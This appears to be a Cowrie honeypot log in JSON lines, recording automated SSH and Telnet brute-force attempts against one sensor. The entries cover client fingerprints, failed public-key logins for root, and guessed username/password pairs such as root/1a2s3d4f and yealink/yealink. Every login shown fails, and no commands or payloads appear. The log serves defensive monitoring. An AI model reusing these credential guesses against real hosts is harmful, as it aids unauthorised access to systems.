{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:86:14:11:8c:42:f0:09:31:14:8f:ab:28:95:a1:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1RoIAm8QwLMGPy/xiPgZ5Bcg0MAq7h8tIiwPGS14QRFOAx4ZhacBgc0ZAkbyFKXkZwhBL9C17lZ03q8RDZ5QYCw4RJ1YHHlCCvseoOottsmBDw0OtgvzenSxn75rhEx1bL1ogX/G03VNVK+Wy/vyw0orXGgXJKcOgdU/QJPflD6k3vjFsbIIIWn8xHjJc12PdOPhqiOcaC31CJDuyT++FcHe/naqRQyHaxRoswzS0SiahY2B2EWBQ7PPlnOFwaPgKMt+qoKCyldNS3VXIgblHPq5w26+E5TI4BxFpZ3JFbwMinzYfcnJy42QiDRnmEy554+thjPZB4USy6inSPZm2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:86:14:11:8c:42:f0:09:31:14:8f:ab:28:95:a1:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.578900Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:86:14:11:8c:42:f0:09:31:14:8f:ab:28:95:a1:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1RoIAm8QwLMGPy/xiPgZ5Bcg0MAq7h8tIiwPGS14QRFOAx4ZhacBgc0ZAkbyFKXkZwhBL9C17lZ03q8RDZ5QYCw4RJ1YHHlCCvseoOottsmBDw0OtgvzenSxn75rhEx1bL1ogX/G03VNVK+Wy/vyw0orXGgXJKcOgdU/QJPflD6k3vjFsbIIIWn8xHjJc12PdOPhqiOcaC31CJDuyT++FcHe/naqRQyHaxRoswzS0SiahY2B2EWBQ7PPlnOFwaPgKMt+qoKCyldNS3VXIgblHPq5w26+E5TI4BxFpZ3JFbwMinzYfcnJy42QiDRnmEy554+thjPZB4USy6inSPZm2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.589123Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:ec:52:50:b7:11:2d:07:f5:c8:40:dc:86:46:1c:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6jlpZLhoHOOuip5R3r5IcT5uR+xnVJ4ffH/p67IhmJCw10/nAQj8uN5AqMV4DfDu9z0SSlfLA1PUxHk+oiQfj1X/0rFegrldWs1inqRYSX7njp8djwLnGQw5I4+PDacW5Jpw4VVTLlzlo9is8QLC8SXgTTjLD/XlIvsUVWXWxVpzf0ZaHky+IX6wwwp4+jFAUDmk5SrVietwgS0q6ohWMCTEGvXZy+kTHoaTYmRJ7WsGu6yPkZJcHwQRMtARkHDPN2aQg7cMyRJfTd3QvFGKZLaCWnbkqx20Cly6vsAEroDFG5w4wqKllwpL5beuHeLFh6uiorFzPuoIWx1WpZ5cgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:ec:52:50:b7:11:2d:07:f5:c8:40:dc:86:46:1c:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.666337Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:ec:52:50:b7:11:2d:07:f5:c8:40:dc:86:46:1c:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6jlpZLhoHOOuip5R3r5IcT5uR+xnVJ4ffH/p67IhmJCw10/nAQj8uN5AqMV4DfDu9z0SSlfLA1PUxHk+oiQfj1X/0rFegrldWs1inqRYSX7njp8djwLnGQw5I4+PDacW5Jpw4VVTLlzlo9is8QLC8SXgTTjLD/XlIvsUVWXWxVpzf0ZaHky+IX6wwwp4+jFAUDmk5SrVietwgS0q6ohWMCTEGvXZy+kTHoaTYmRJ7WsGu6yPkZJcHwQRMtARkHDPN2aQg7cMyRJfTd3QvFGKZLaCWnbkqx20Cly6vsAEroDFG5w4wqKllwpL5beuHeLFh6uiorFzPuoIWx1WpZ5cgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.673500Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:4c:16:47:d8:a1:96:1a:20:60:28:13:d2:ef:e9:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApFNlHP1nzP07s5svIs4XbaM8DNUFlRvDRlJ5VP8H3p+ksVU2WgZjXIRSfjX9+ovx66dcTyRyyk93/ov2Vn/wGzWSuUI+9UJzXNU8+wSMbS5P2GBp9n1U8Mlrk8B2+Hexg1faVYCORhOGNo+N9BR7/qL5DyWIXwboJXxE/K4nqpVPp/Xr+lLmGK7GpLGuSmdXZApOxXLH+w27Gtc0i0Sl70UlSg+bQ4+e8gKMmQ0OYPqxTyLnz6Y5TWQgqB6PzmRA+ErfD96xXcUR61lsFeICWA/1m9UJL8DPEoQ0VeHQtwbj3LRZbfgqBHbgxlQCL6qQao8KVln2ImJTqbWjIMWyBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:4c:16:47:d8:a1:96:1a:20:60:28:13:d2:ef:e9:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.760277Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:4c:16:47:d8:a1:96:1a:20:60:28:13:d2:ef:e9:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApFNlHP1nzP07s5svIs4XbaM8DNUFlRvDRlJ5VP8H3p+ksVU2WgZjXIRSfjX9+ovx66dcTyRyyk93/ov2Vn/wGzWSuUI+9UJzXNU8+wSMbS5P2GBp9n1U8Mlrk8B2+Hexg1faVYCORhOGNo+N9BR7/qL5DyWIXwboJXxE/K4nqpVPp/Xr+lLmGK7GpLGuSmdXZApOxXLH+w27Gtc0i0Sl70UlSg+bQ4+e8gKMmQ0OYPqxTyLnz6Y5TWQgqB6PzmRA+ErfD96xXcUR61lsFeICWA/1m9UJL8DPEoQ0VeHQtwbj3LRZbfgqBHbgxlQCL6qQao8KVln2ImJTqbWjIMWyBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.764281Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:a8:e7:8d:f9:09:e0:f1:1a:d4:b9:f0:20:5b:e9:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAulHnl5kF7qij7+vuCaKvHgGdqXWnPqL343sV1GA+vRVI0YIx5SgnpaivRVdY754LFmMKfviqF6p5p8R6ACZB7YJ9Y3SZI52UnLQRb9RIvEqAwCW8xT+8Tr/fQ0KHYMdzGeirLkedNCkgpbigc8MFMwrE978JHuJtHHYbiY03xsU8EmRS5/O+thAdLUkdOr6U6hpLDJeF4S13B95y6LWxjWHWk/CxEMgRUDJeNWJLOjg8OLKDwpW/QNuJ5NQz2AHajYvA0zoFVYtgcnXQMc9vVGzU1nwoQJgJiFWdwDglguTtyMHljfTU5W6CyiqVqbhnTPRHAA/jp2hAC118x2uF2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:a8:e7:8d:f9:09:e0:f1:1a:d4:b9:f0:20:5b:e9:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.846462Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:a8:e7:8d:f9:09:e0:f1:1a:d4:b9:f0:20:5b:e9:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAulHnl5kF7qij7+vuCaKvHgGdqXWnPqL343sV1GA+vRVI0YIx5SgnpaivRVdY754LFmMKfviqF6p5p8R6ACZB7YJ9Y3SZI52UnLQRb9RIvEqAwCW8xT+8Tr/fQ0KHYMdzGeirLkedNCkgpbigc8MFMwrE978JHuJtHHYbiY03xsU8EmRS5/O+thAdLUkdOr6U6hpLDJeF4S13B95y6LWxjWHWk/CxEMgRUDJeNWJLOjg8OLKDwpW/QNuJ5NQz2AHajYvA0zoFVYtgcnXQMc9vVGzU1nwoQJgJiFWdwDglguTtyMHljfTU5W6CyiqVqbhnTPRHAA/jp2hAC118x2uF2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.854328Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.960456Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37174,"dst_ip":"159.203.135.109","dst_port":22,"session":"5404b7c4aaf1","protocol":"ssh","message":"New connection: 192.109.200.237:37174 (159.203.135.109:22) [session: 5404b7c4aaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:17.049963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:17.055147Z","src_ip":"192.109.200.237","session":"5404b7c4aaf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:17.175998Z","src_ip":"192.109.200.237","session":"5404b7c4aaf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:17.502705Z","src_ip":"192.109.200.237","session":"5404b7c4aaf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":36776,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbe38ef56d3a","protocol":"telnet","message":"New connection: 209.127.178.212:36776 (159.203.135.109:23) [session: cbe38ef56d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:17.611815Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:18.589631Z","src_ip":"192.109.200.237","session":"5404b7c4aaf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":48178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5724f4d37474","protocol":"ssh","message":"New connection: 103.98.149.87:48178 (10.17.0.5:22) [session: 5724f4d37474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:19.119833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:19.131311Z","src_ip":"103.98.149.87","session":"5724f4d37474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:19.406031Z","src_ip":"103.98.149.87","session":"5724f4d37474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f","message":"login attempt [root/1a2s3d4f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:20.440596Z","src_ip":"103.98.149.87","session":"5724f4d37474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d30e65fb8772","protocol":"ssh","message":"New connection: 192.109.200.237:47490 (159.203.135.109:22) [session: d30e65fb8772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:20.507096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:20.521365Z","src_ip":"192.109.200.237","session":"d30e65fb8772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46568,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34a2e22f952","protocol":"telnet","message":"New connection: 152.42.224.71:46568 (10.17.0.5:23) [session: f34a2e22f952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:20.533827Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:20.609520Z","src_ip":"192.109.200.237","session":"d30e65fb8772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:20.864926Z","src_ip":"192.109.200.237","session":"d30e65fb8772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:21.697932Z","src_ip":"103.98.149.87","session":"5724f4d37474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:21.949540Z","src_ip":"192.109.200.237","session":"d30e65fb8772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47500,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b34f020f9c2","protocol":"ssh","message":"New connection: 192.109.200.237:47500 (159.203.135.109:22) [session: 5b34f020f9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:23.821704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:23.828327Z","src_ip":"192.109.200.237","session":"5b34f020f9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:23.911519Z","src_ip":"192.109.200.237","session":"5b34f020f9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:24.163345Z","src_ip":"192.109.200.237","session":"5b34f020f9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:25.249985Z","src_ip":"192.109.200.237","session":"5b34f020f9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47510,"dst_ip":"159.203.135.109","dst_port":22,"session":"b467b5892bc3","protocol":"ssh","message":"New connection: 192.109.200.237:47510 (159.203.135.109:22) [session: b467b5892bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:27.265219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:27.270481Z","src_ip":"192.109.200.237","session":"b467b5892bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:27.355484Z","src_ip":"192.109.200.237","session":"b467b5892bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:27.610576Z","src_ip":"192.109.200.237","session":"b467b5892bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:28.697072Z","src_ip":"192.109.200.237","session":"b467b5892bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52140,"dst_ip":"10.17.0.5","dst_port":23,"session":"154e142ba661","protocol":"telnet","message":"New connection: 152.42.224.71:52140 (10.17.0.5:23) [session: 154e142ba661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:29.205030Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":40364,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1920cdcd633","protocol":"ssh","message":"New connection: 43.153.37.39:40364 (10.17.0.5:22) [session: a1920cdcd633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.038975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.049394Z","src_ip":"43.153.37.39","session":"a1920cdcd633","protocol":"ssh"}
